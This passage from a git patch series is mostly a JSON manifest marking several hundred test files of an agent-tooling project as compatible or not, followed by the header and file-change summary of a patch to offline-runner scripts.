"packages/ui-server/tests/operational-state-precedence.test.ts":{"compatible":true}, + "packages/ui-server/tests/operational-state-race.test.ts":{"compatible":true}, + "packages/ui-server/tests/origin-policy.test.ts":{"compatible":true}, + "packages/ui-server/tests/origin-trust.test.ts":{"compatible":true}, + "packages/ui-server/tests/outward-governance.test.ts":{"compatible":true}, + "packages/ui-server/tests/owner-safety-review.test.ts":{"compatible":true}, + "packages/ui-server/tests/passkeys.test.ts":{"compatible":true}, + "packages/ui-server/tests/pi-auth-real-package.test.ts":{"compatible":true}, + "packages/ui-server/tests/pi-auth-routes.test.ts":{"compatible":true}, + "packages/ui-server/tests/pi-strict-edit-host-apply.test.ts":{"compatible":true}, + "packages/ui-server/tests/pill-label-runs.test.ts":{"compatible":true}, + "packages/ui-server/tests/pill-labeller.test.ts":{"compatible":true}, + "packages/ui-server/tests/policy-command-governance.test.ts":{"compatible":true}, + "packages/ui-server/tests/policy-observation-pause.test.ts":{"compatible":true}, + "packages/ui-server/tests/policy-proposal-read.test.ts":{"compatible":true}, + "packages/ui-server/tests/policy-proposal.test.ts":{"compatible":true}, + "packages/ui-server/tests/principal-routes.test.ts":{"compatible":true}, + "packages/ui-server/tests/principal-writes-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/principals.test.ts":{"compatible":true}, + "packages/ui-server/tests/private-index-cache.test.ts":{"compatible":true}, + "packages/ui-server/tests/private-index-stdio-release.test.ts":{"compatible":true}, + "packages/ui-server/tests/private-index.test.ts":{"compatible":true}, + "packages/ui-server/tests/protected-host-writers.test.ts":{"compatible":true}, + "packages/ui-server/tests/provider-allowed-route.test.ts":{"compatible":true}, + "packages/ui-server/tests/provider-continuation-state.test.ts":{"compatible":true}, + "packages/ui-server/tests/provider-continuation.test.ts":{"compatible":true}, + "packages/ui-server/tests/provider-hardlinks.test.ts":{"compatible":true}, + "packages/ui-server/tests/provider-mask-bridge.test.ts":{"compatible":true}, + "packages/ui-server/tests/provider-mask-refusal.test.ts":{"compatible":true}, + "packages/ui-server/tests/provider-recipient-session.test.ts":{"compatible":true}, + "packages/ui-server/tests/provider-recipients.test.ts":{"compatible":true}, + "packages/ui-server/tests/provider-relay-budgets.test.ts":{"compatible":true}, + "packages/ui-server/tests/provider-relay-taint.test.ts":{"compatible":true}, + "packages/ui-server/tests/provider-types.test.ts":{"compatible":true}, + "packages/ui-server/tests/provider-unavailable.test.ts":{"compatible":true}, + "packages/ui-server/tests/push-drain.test.ts":{"compatible":true}, + "packages/ui-server/tests/push.test.ts":{"compatible":true}, + "packages/ui-server/tests/qualified-identity-helper.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-blob.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-egress.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-grants.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-maintenance-admission.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-owner-lifecycle.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-owner-native-root.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-owner-resolution.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-read.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-ref-validation.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-source-authority.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-source-managed.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-source.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-tools.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-transport.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-wire-binding.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-worktree-hygiene.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-worktree-journal.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-worktrees.test.ts":{"compatible":true}, + "packages/ui-server/tests/reference-writes-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/relay-recording-settlement.test.ts":{"compatible":true}, + "packages/ui-server/tests/relay-session-binding.test.ts":{"compatible":true}, + "packages/ui-server/tests/render-routes.test.ts":{"compatible":true}, + "packages/ui-server/tests/renderer-bootstrap-contract.test.ts":{"compatible":true}, + "packages/ui-server/tests/resource-limit-governance.test.ts":{"compatible":true}, + "packages/ui-server/tests/retry-proposal-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/revert-files.test.ts":{"compatible":true}, + "packages/ui-server/tests/revert-gate.test.ts":{"compatible":true}, + "packages/ui-server/tests/routes-activity.test.ts":{"compatible":true}, + "packages/ui-server/tests/run-session.test.ts":{"compatible":true}, + "packages/ui-server/tests/runtime-boot.test.ts":{"compatible":true}, + "packages/ui-server/tests/runtime-record.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-account-partition.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-containment.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-entry-correlation.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-history-loss.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-history-review.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-history.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-ledger.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-loss-recovery.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-native-delivery.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-occurrences.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-pi-acquisition.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-pi-delivery.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-proxy-exposures.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-recovery-journey.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-result-exits.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-result-retention.test.ts":{"compatible":true}, + "packages/ui-server/tests/safety-reviews.test.ts":{"compatible":true}, + "packages/ui-server/tests/saved-transcription.test.ts":{"compatible":true}, + "packages/ui-server/tests/schedule-admission.test.ts":{"compatible":true}, + "packages/ui-server/tests/schedule-cli.test.ts":{"compatible":true}, + "packages/ui-server/tests/schedule-definition.test.ts":{"compatible":true}, + "packages/ui-server/tests/schedule-ignore-admission.test.ts":{"compatible":true}, + "packages/ui-server/tests/schedule-recovery.test.ts":{"compatible":true}, + "packages/ui-server/tests/schedule-service.test.ts":{"compatible":true}, + "packages/ui-server/tests/schedule-time.test.ts":{"compatible":true}, + "packages/ui-server/tests/schedule-writes-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/scratch-mask-query.test.ts":{"compatible":true}, + "packages/ui-server/tests/scratch-pins.test.ts":{"compatible":true}, + "packages/ui-server/tests/selectable-dictation.test.ts":{"compatible":true}, + "packages/ui-server/tests/session-cookie.test.ts":{"compatible":true}, + "packages/ui-server/tests/session-cost-persistence.test.ts":{"compatible":true}, + "packages/ui-server/tests/session-history.test.ts":{"compatible":true}, + "packages/ui-server/tests/session-recovery-http.test.ts":{"compatible":true}, + "packages/ui-server/tests/session-routes-handoff.test.ts":{"compatible":true}, + "packages/ui-server/tests/session-routes-multi-backend.test.ts":{"compatible":true}, + "packages/ui-server/tests/session-run-stages.test.ts":{"compatible":true}, + "packages/ui-server/tests/session-safety-boundaries.test.ts":{"compatible":true}, + "packages/ui-server/tests/session-start-reliability.test.ts":{"compatible":true}, + "packages/ui-server/tests/session-taint.test.ts":{"compatible":true}, + "packages/ui-server/tests/sessions-epoch.test.ts":{"compatible":true}, + "packages/ui-server/tests/share-links.test.ts":{"compatible":true}, + "packages/ui-server/tests/share-routes.test.ts":{"compatible":true}, + "packages/ui-server/tests/share-staging-protection.test.ts":{"compatible":true}, + "packages/ui-server/tests/shell-taint-proxy.test.ts":{"compatible":true}, + "packages/ui-server/tests/shrink.test.ts":{"compatible":true}, + "packages/ui-server/tests/skills-install.test.ts":{"compatible":true}, + "packages/ui-server/tests/skills-routes.test.ts":{"compatible":true}, + "packages/ui-server/tests/software-status.test.ts":{"compatible":true}, + "packages/ui-server/tests/speech-provider-conformance.test.ts":{"compatible":true}, + "packages/ui-server/tests/sqlite-cleanup-owner-deadline.test.ts":{"compatible":true}, + "packages/ui-server/tests/staging-fs.test.ts":{"compatible":true}, + "packages/ui-server/tests/staging-no-follow.test.ts":{"compatible":true}, + "packages/ui-server/tests/state-room-warning.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-collection.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-guidance.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-history-model.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-history-store.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-maintenance-owners.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-maintenance-routes.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-maintenance.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-metadata.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-notify.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-pressure.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-removal-journal.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-removal-recovery.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-removal-routes.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-removal-space.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-removal-worker.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-removal.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-routes.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-scan-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-shared-scan.test.ts":{"compatible":true}, + "packages/ui-server/tests/storage-tree.test.ts":{"compatible":true}, + "packages/ui-server/tests/subscription-login.test.ts":{"compatible":true}, + "packages/ui-server/tests/subscription-status.test.ts":{"compatible":true}, + "packages/ui-server/tests/sync-launch-bound.test.ts":{"compatible":true}, + "packages/ui-server/tests/sync-mirror.test.ts":{"compatible":true}, + "packages/ui-server/tests/sync-policy-app.test.ts":{"compatible":true}, + "packages/ui-server/tests/sync-policy-review.test.ts":{"compatible":true}, + "packages/ui-server/tests/sync-reservation.test.ts":{"compatible":true}, + "packages/ui-server/tests/sync-runtime.test.ts":{"compatible":true}, + "packages/ui-server/tests/tailscale.test.ts":{"compatible":true}, + "packages/ui-server/tests/tainted-destination-ask.test.ts":{"compatible":true}, + "packages/ui-server/tests/tool-observation-schedule.test.ts":{"compatible":true}, + "packages/ui-server/tests/track-intake.test.ts":{"compatible":true}, + "packages/ui-server/tests/triage-eval.test.ts":{"compatible":true}, + "packages/ui-server/tests/trust-settings.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-boundary-hold.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-budgets.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-coordinator.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-data-tree-placement.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-data-tree.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-egress-clock-honesty.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-egress-composition.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-egress.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-failure-notice-digest.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-free-space.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-journal.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-lifecycle.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-provider-relay.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-revert.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-scope-headroom.test.ts":{"compatible":true}, + "packages/ui-server/tests/turn-scope.test.ts":{"compatible":true}, + "packages/ui-server/tests/unavailable-profiles.test.ts":{"compatible":true}, + "packages/ui-server/tests/untrusted-marks.test.ts":{"compatible":true}, + "packages/ui-server/tests/web-pi-delivery.test.ts":{"compatible":true}, + "packages/ui-server/tests/web-pi-executor.test.ts":{"compatible":true}, + "packages/ui-server/tests/web-pi-subscription.test.ts":{"compatible":true}, + "packages/ui-server/tests/web-pi-worker.test.ts":{"compatible":true}, + "packages/ui-server/tests/web-search-routes.test.ts":{"compatible":true}, + "packages/ui-server/tests/web-tools-admission.test.ts":{"compatible":true}, + "packages/ui-server/tests/web-tools-broker.test.ts":{"compatible":true}, + "packages/ui-server/tests/wikilink-reliability.test.ts":{"compatible":true}, + "packages/ui-server/tests/worker-host-gate.test.ts":{"compatible":false}, + "packages/ui-server/tests/worker-host-status.test.ts":{"compatible":false}, + "packages/ui-server/tests/worker-probe-placement.test.ts":{"compatible":true}, + "packages/ui-server/tests/worker-shared-identity.test.ts":{"compatible":true}, + "packages/ui-server/tests/worker-state-config.test.ts":{"compatible":true}, + "packages/ui-server/tests/write-worker.test.ts":{"compatible":true}, + "packages/ui-server/tests/writer-gate-offloop.test.ts":{"compatible":true}, + "packages/ui-server/tests/writer-gate.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-activity.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-allowlist-enforcement.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-apify.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-approval-channel.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-approval-persistence.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-ask-collision-matrix.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-ask-receipts.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-ask-turn-timeout.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-ask-user-form.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-ask-user-list.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-ask-user-rank.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-authority-hold.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-backend-routing.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-brain-application.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-capacity-route.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-chat-deletion.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-claude-effects.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-client-environment.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-clients.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-compute.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-conversation.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-effort.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-follow-up-queue.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-follow-up-startup.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-github-details.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-github.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-governance-binding.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-handlers.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-handoff.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-history-freshness.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-inbox-intake-hold.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-interactive-admission.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-legacy-budget-replay.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-live-policy-parity.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-local-exchange.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-main-model.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-message-source.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-native-acquisition-cancellation.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-observability.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-parallel-sessions.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-pill-labels.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-promoted-block-replay.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-queue-budget.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-rate-limit.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-read-attachment.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-reference-worktrees.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-retry-turn.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-revocation.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-runtime-status.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-scope-caps.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-session-history.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-session-recovery.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-tool-permissions.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-tool-resolution.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-track-files.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-turn-budgets.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-turn-failure-replay.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-turn-id.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-turn-journal.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-turn-temp-promotion.test.ts":{"compatible":true}, + "packages/ui-server/tests/ws-web-access.test.ts":{"compatible":true}, + "tests/answer-suggestions-targets.test.tsx":{"compatible":true}, + "tests/api-surface.test.ts":{"compatible":true}, + "tests/artifact-screenshot-retention.test.ts":{"compatible":true}, + "tests/ask-user-rank-adapters.test.ts":{"compatible":true}, + "tests/audit-fix-provider-claims.test.ts":{"compatible":true}, + "tests/audit-fix.test.ts":{"compatible":true}, + "tests/audit-provider-completions.test.ts":{"compatible":true}, + "tests/audit-shipped-capabilities.test.ts":{"compatible":true}, + "tests/autonomous-app.test.ts":{"compatible":true}, + "tests/autonomous-containment.test.ts":{"compatible":true}, + "tests/autonomous-dispatch.test.ts":{"compatible":true}, + "tests/autonomous-runtime.test.ts":{"compatible":true}, + "tests/bin-modes.test.ts":{"compatible":true}, + "tests/brain-db-contract.test.ts":{"compatible":true}, + "tests/bridge-tools.test.ts":{"compatible":true}, + "tests/browser-determinism-container.test.ts":{"compatible":true}, + "tests/browser-determinism.test.ts":{"compatible":true}, + "tests/browser-image-pin.test.ts":{"compatible":true}, + "tests/browser-input-closure.test.ts":{"compatible":true}, + "tests/browser-inventory-process.test.ts":{"compatible":true}, + "tests/browser-shards.test.ts":{"compatible":true}, + "tests/browser-worker-boundary.test.ts":{"compatible":true}, + "tests/build-concurrency.test.ts":{"compatible":true}, + "tests/build-freshness.test.ts":{"compatible":true}, + "tests/build-repeat-observation.test.ts":{"compatible":true}, + "tests/build-selection.test.ts":{"compatible":true}, + "tests/candidate-admission.test.ts":{"compatible":true}, + "tests/candidate-proof.test.ts":{"compatible":true}, + "tests/capture-hash.test.ts":{"compatible":true}, + "tests/changed-unit-workers.test.ts":{"compatible":true}, + "tests/changeset-gate.test.ts":{"compatible":true}, + "tests/check-dist.test.ts":{"compatible":true}, + "tests/check-receipt.test.ts":{"compatible":true}, + "tests/checkpoint-reader-controls.test.ts":{"compatible":true}, + "tests/ci-archive.test.ts":{"compatible":true}, + "tests/ci-build-boundary.test.ts":{"compatible":true}, + "tests/ci-build-consumers.test.ts":{"compatible":true}, + "tests/ci-build-context.test.ts":{"compatible":true}, + "tests/ci-build-evidence.test.ts":{"compatible":true}, + "tests/ci-build-files.test.ts":{"compatible":true}, + "tests/ci-build-lifetime.test.ts":{"compatible":true}, + "tests/ci-build-qualification.test.ts":{"compatible":true}, + "tests/ci-build-state.test.ts":{"compatible":true}, + "tests/ci-disk.test.ts":{"compatible":true}, + "tests/ci-epochs.test.ts":{"compatible":true}, + "tests/ci-event-publish.test.ts":{"compatible":true}, + "tests/ci-evidence-report.test.ts":{"compatible":true}, + "tests/ci-pack.test.ts":{"compatible":true}, + "tests/ci-plan.test.ts":{"compatible":false}, + "tests/ci-red-main.test.ts":{"compatible":true}, + "tests/ci-runner.test.ts":{"compatible":true}, + "tests/ci-throughput.test.ts":{"compatible":true}, + "tests/ci-timings-collection.test.ts":{"compatible":true}, + "tests/ci-timings.test.ts":{"compatible":true}, + "tests/ci-workflows.test.ts":{"compatible":true}, + "tests/claude-title-provenance.test.ts":{"compatible":true}, + "tests/claude-worker.test.ts":{"compatible":true}, + "tests/clean.test.ts":{"compatible":true}, + "tests/cold-browser-discovery.test.ts":{"compatible":true}, + "tests/collector-inventory-variant.test.ts":{"compatible":false}, + "tests/collisions.test.ts":{"compatible":true}, + "tests/compute-tool-contracts.test.ts":{"compatible":true}, + "tests/configured-module-paths-cli.test.ts":{"compatible":true}, + "tests/content-index-queries.test.ts":{"compatible":true}, + "tests/contract-gate.test.ts":{"compatible":true}, + "tests/decision-citations.test.ts":{"compatible":true}, + "tests/dependency-edges.test.ts":{"compatible":true}, + "tests/design-system-tokens.test.ts":{"compatible":true}, + "tests/diagnostic-install.test.ts":{"compatible":true}, + "tests/diagram-export-boundary.test.ts":{"compatible":true}, + "tests/diagram-export-installation.test.ts":{"compatible":true}, + "tests/diagram-export-source.test.ts":{"compatible":true}, + "tests/docker-bind-stability.test.ts":{"compatible":false}, + "tests/docs-citations-runtime.test.ts":{"compatible":true}, + "tests/docs-paths.test.ts":{"compatible":true}, + "tests/document-render.test.ts":{"compatible":true}, + "tests/dom-global-restoration.test.ts":{"compatible":true}, + "tests/egress-first-party-paths.test.ts":{"compatible":true}, + "tests/env-parity.test.ts":{"compatible":true}, + "tests/expected-failure-log.test.ts":{"compatible":false}, + "tests/experiment-tier.test.ts":{"compatible":false}, + "tests/export-links-runtime.test.ts":{"compatible":true}, + "tests/export-native-rejection-runtime.test.ts":{"compatible":true}, + "tests/extra-stdio-retention.test.ts":{"compatible":true}, + "tests/feature-capture-catalogue.test.ts":{"compatible":true}, + "tests/feature-capture-output.test.ts":{"compatible":true}, + "tests/feature-capture-runtime.test.ts":{"compatible":true}, + "tests/first-party-failure-classes.test.ts":{"compatible":true}, + "tests/first-party-source-pins.test.ts":{"compatible":true}, + "tests/font-cache-binding.test.ts":{"compatible":true}, + "tests/frontmatter-parse-gate.test.ts":{"compatible":true}, + "tests/generated-audio-input.test.ts":{"compatible":true}, + "tests/geo-render.test.ts":{"compatible":true}, + "tests/haiku-model-selection.test.ts":{"compatible":true}, + "tests/heavy-feedback.test.ts":{"compatible":true}, + "tests/host-admission.test.ts":{"compatible":true}, + "tests/hosted-proof.test.ts":{"compatible":false}, + "tests/hygiene-failed-check-retention.test.ts":{"compatible":true}, + "tests/hygiene-fixture-cleanup.test.ts":{"compatible":true}, + "tests/hygiene-reconcile-shipped.test.ts":{"compatible":true}, + "tests/hygiene-screenshot-retention.test.ts":{"compatible":true}, + "tests/identity-native-fixture.test.ts":{"compatible":false}, + "tests/inbox-actions-stream.test.ts":{"compatible":true}, + "tests/index-query-consumers.test.ts":{"compatible":true}, + "tests/inline-containment-gate.test.ts":{"compatible":true}, + "tests/installed-turn-surface.test.ts":{"compatible":true}, + "tests/integration-command.test.ts":{"compatible":true}, + "tests/integration-proof.test.ts":{"compatible":true}, + "tests/integration-reservation.test.ts":{"compatible":true}, + "tests/invisible-characters.test.ts":{"compatible":true}, + "tests/jev-research-outcomes.test.ts":{"compatible":true}, + "tests/job-ingest-scoring.test.ts":{"compatible":true}, + "tests/kit-purity-gate.test.ts":{"compatible":true}, + "tests/label-completion-provider.test.ts":{"compatible":true}, + "tests/labels.test.ts":{"compatible":true}, + "tests/layer-direction-gate.test.ts":{"compatible":true}, + "tests/leakage-gate.test.ts":{"compatible":true}, + "tests/local-checks.test.ts":{"compatible":true}, + "tests/lockfile.test.ts":{"compatible":true}, + "tests/manual-only-skills.test.ts":{"compatible":true}, + "tests/markdown-anchors.test.ts":{"compatible":true}, + "tests/measurement-fixture-lifetime.test.ts":{"compatible":true}, + "tests/measurement-isolation.test.ts":{"compatible":true}, + "tests/module-hygiene-queries.test.ts":{"compatible":true}, + "tests/module-public-imports.test.ts":{"compatible":true}, + "tests/native-admission-timing.test.ts":{"compatible":true}, + "tests/native-dead-root-trace.test.ts":{"compatible":true}, + "tests/native-diagram-retired.test.ts":{"compatible":true}, + "tests/native-event-log.test.ts":{"compatible":true}, + "tests/native-lifecycle-timing.test.ts":{"compatible":true}, + "tests/native-observation-phases.test.ts":{"compatible":true}, + "tests/native-observation-tree.test.ts":{"compatible":false}, + "tests/native-pool-io.test.ts":{"compatible":true}, + "tests/native-prerequisites.test.ts":{"compatible":true}, + "tests/native-timeout-inventory.test.ts":{"compatible":true}, + "tests/offline-runner.test.ts":{"compatible":true}, + "tests/offline-test-launcher.test.ts":{"compatible":false}, + "tests/offline-unit-identity.test.ts":{"compatible":true}, + "tests/opportunity-cli-agreement.test.ts":{"compatible":true}, + "tests/owned-loop-evidence.test.ts":{"compatible":true}, + "tests/owned-remove.test.ts":{"compatible":false}, + "tests/pi-endpoint-routing.test.ts":{"compatible":true}, + "tests/pi-worker-runtime.test.ts":{"compatible":true}, + "tests/planning-observer.test.ts":{"compatible":true}, + "tests/policy-write-boundary.test.ts":{"compatible":true}, + "tests/process-command-proposals.test.ts":{"compatible":true}, + "tests/project-blockers.test.ts":{"compatible":true}, + "tests/project-status.test.ts":{"compatible":true}, + "tests/project-sweep.test.ts":{"compatible":true}, + "tests/project-sync-guards.test.ts":{"compatible":true}, + "tests/project-sync-item.test.ts":{"compatible":true}, + "tests/project-sync-main.test.ts":{"compatible":true}, + "tests/project-tracks.test.ts":{"compatible":true}, + "tests/proof-case-report.test.ts":{"compatible":true}, + "tests/proof-inventory.test.ts":{"compatible":true}, + "tests/proof-system-lane.test.ts":{"compatible":true}, + "tests/proof-system.test.ts":{"compatible":true}, + "tests/prose-links-render.test.tsx":{"compatible":true}, + "tests/provider-history-host-authority.test.ts":{"compatible":true}, + "tests/public-docs.test.ts":{"compatible":true}, + "tests/raw-buttons-gate.test.ts":{"compatible":true}, + "tests/red-main-expedite.test.ts":{"compatible":true}, + "tests/red-main-incident.test.ts":{"compatible":true}, + "tests/red-main.test.ts":{"compatible":true}, + "tests/reference-worktree-allocation.test.ts":{"compatible":true}, + "tests/refresh-browser-costs.test.ts":{"compatible":true}, + "tests/refresh-unit-costs.test.ts":{"compatible":true}, + "tests/release-manifest.test.ts":{"compatible":true}, + "tests/release-resume.test.ts":{"compatible":true}, + "tests/request-replay-lifecycle.test.ts":{"compatible":true}, + "tests/reverse-geocode-env.test.ts":{"compatible":true}, + "tests/review-receipt.test.ts":{"compatible":true}, + "tests/root-stores-gate.test.ts":{"compatible":true}, + "tests/runtime-build-selection.test.ts":{"compatible":true}, + "tests/seam-list.test.ts":{"compatible":true}, + "tests/search-result-tags-adapters.test.ts":{"compatible":true}, + "tests/share-render.test.ts":{"compatible":true}, + "tests/shipped-claude-runtime-pin.test.ts":{"compatible":true}, + "tests/shipped-skills-lint.test.ts":{"compatible":true}, + "tests/show-block-schema-forms.test.ts":{"compatible":true}, + "tests/stats-answer-render.test.tsx":{"compatible":true}, + "tests/subscription-completions.test.ts":{"compatible":true}, + "tests/suggestions-strict-input.test.ts":{"compatible":true}, + "tests/tag-alias-writer.test.ts":{"compatible":true}, + "tests/template-eval.test.ts":{"compatible":true}, + "tests/template-leftovers.test.ts":{"compatible":true}, + "tests/test-deadlines.test.ts":{"compatible":true}, + "tests/test-determinism.test.ts":{"compatible":true}, + "tests/test-git-maintenance.test.ts":{"compatible":true}, + "tests/test-home.test.ts":{"compatible":true}, + "tests/test-invocation-child.test.ts":{"compatible":true}, + "tests/test-invocation-lifetime.test.ts":{"compatible":true}, + "tests/test-invocation-workers.test.ts":{"compatible":true}, + "tests/test-invocation.test.ts":{"compatible":true}, + "tests/test-network-guard.test.ts":{"compatible":true}, + "tests/test-script.test.ts":{"compatible":true}, + "tests/test-shards.test.ts":{"compatible":true}, + "tests/test-wait-review-partition.test.ts":{"compatible":true}, + "tests/turn-temp-backends.test.ts":{"compatible":true}, + "tests/unit-memory.test.ts":{"compatible":true}, + "tests/unit-proof-report.test.ts":{"compatible":true}, + "tests/unit-test-consumers.test.ts":{"compatible":true}, + "tests/unit-workers.test.ts":{"compatible":true}, + "tests/unused-exports-gate.test.ts":{"compatible":true}, + "tests/visual-dictation-isolation.test.ts":{"compatible":true}, + "tests/visual-runner.test.ts":{"compatible":true}, + "tests/worker-areas-core.test.ts":{"compatible":true}, + "tests/worker-limits-workloads.test.ts":{"compatible":true}, + "tests/worker-sandbox-note.test.ts":{"compatible":true}, + "tests/worker-state-tmpfs.test.ts":{"compatible":true}, + "tests/workspace-lease.test.ts":{"compatible":true}, + "tests/zero-request-replay.test.ts":{"compatible":true} } } From 2399b899082798256bac0be6ac99a28105bedfb0 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 08:45:57 +0000 Subject: [PATCH 185/187] test: qualify nested offline views through the pinned live issuer --- scripts/offline-runner/bootstrap.c | 48 +++++++++++++- scripts/offline-runner/issuer.py | 30 +++++++++ scripts/offline-runner/prepare.sh | 2 +- scripts/offline-runner/proof.py | 66 ++++++++++--------- scripts/offline-runner/qualification.ts | 24 +++++-- scripts/offline-runner/runner.py | 22 +++++-- tests/fixtures/offline-fixture-env.py | 87 +++++++++++++++++++++++++ tests/offline-runner.test.ts | 42 +++++++++++- 8 files changed, 275 insertions(+), 46 deletions(-) create mode 100644 scripts/offline-runner/issuer.py create mode 100644 